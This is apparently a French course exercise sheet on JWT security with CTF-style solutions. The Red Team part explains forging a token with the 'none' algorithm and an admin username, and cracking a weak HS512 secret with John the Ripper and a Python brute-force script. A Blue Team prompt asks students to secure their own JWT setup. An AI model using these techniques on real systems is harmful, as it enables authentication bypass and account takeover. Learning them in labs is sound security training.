Skip to content

Latest commit

 

History

History
68 lines (45 loc) · 2.51 KB

3.md

File metadata and controls

68 lines (45 loc) · 2.51 KB

Algorithmes d'encryption et hashage

Exercices

🔴Red Team : pénétrer un système à faible sécurité de JWT

Hacker Time !! Vous allez mettre votre masque d'anonymous et commencer votre carrière de black hat.

Challenge 1 : Introduction JSON Web Token

Challenges/Web - Serveur : JSON Web Token (JWT) -...

Solutions :

-Récupérer le JWT du challenge via la console du navigateur ( Applications > Cookies )

  • Décoder avec l'outil JWT encode/decode
  • Remplacer l'algorithme par "none"
  • Remplacer le username dans la payload par "admin"
  • Remplacer le JWT obtenu dans les cookies de la console du navigateur et recharger la page

Challenge 2 : Secret Faible

Challenges/Web - Serveur : JSON Web Token (JWT) - Secret...

Solutions : 1

  • Enregistrer le token dans un fichier txt
  • Installer le programme John The Ripper et déclencher la commande suivante : john jwt.txt --format=HMAC-SHA512

2

import jwt

arrayCombine = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',1,2,3,4,5,6,7,8,9,0,""]

encoded_jwt  = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"

# 4 boucles for = 4 caractères max pour le secret

for i in range (len(arrayCombine)):
    for j in range (len(arrayCombine)):
        for k in range (len(arrayCombine)):
            for l in range (len(arrayCombine)):
                secret = str(arrayCombine[i]) + str(arrayCombine[j]) + str(arrayCombine[k]) + str(arrayCombine[l])
                try:
                    jwt.decode(encoded_jwt, secret, algorithms=["HS512"])
                    print("the secret word is : " + str(secret))
                    break 
                except:
                    pass

🔵Blue Team : Implémenter un JWT sécurisé

Si ce n'est pas déja la cas votre objectif sera de mettre en place l'authentification via un JWT sur votre application

  • Comment fonctionne le JWT sur vos frameworks ?
  • Quel Algorithme utilise t'ils ?
  • Votre token est-il inviolable ?
  • Et le secret ?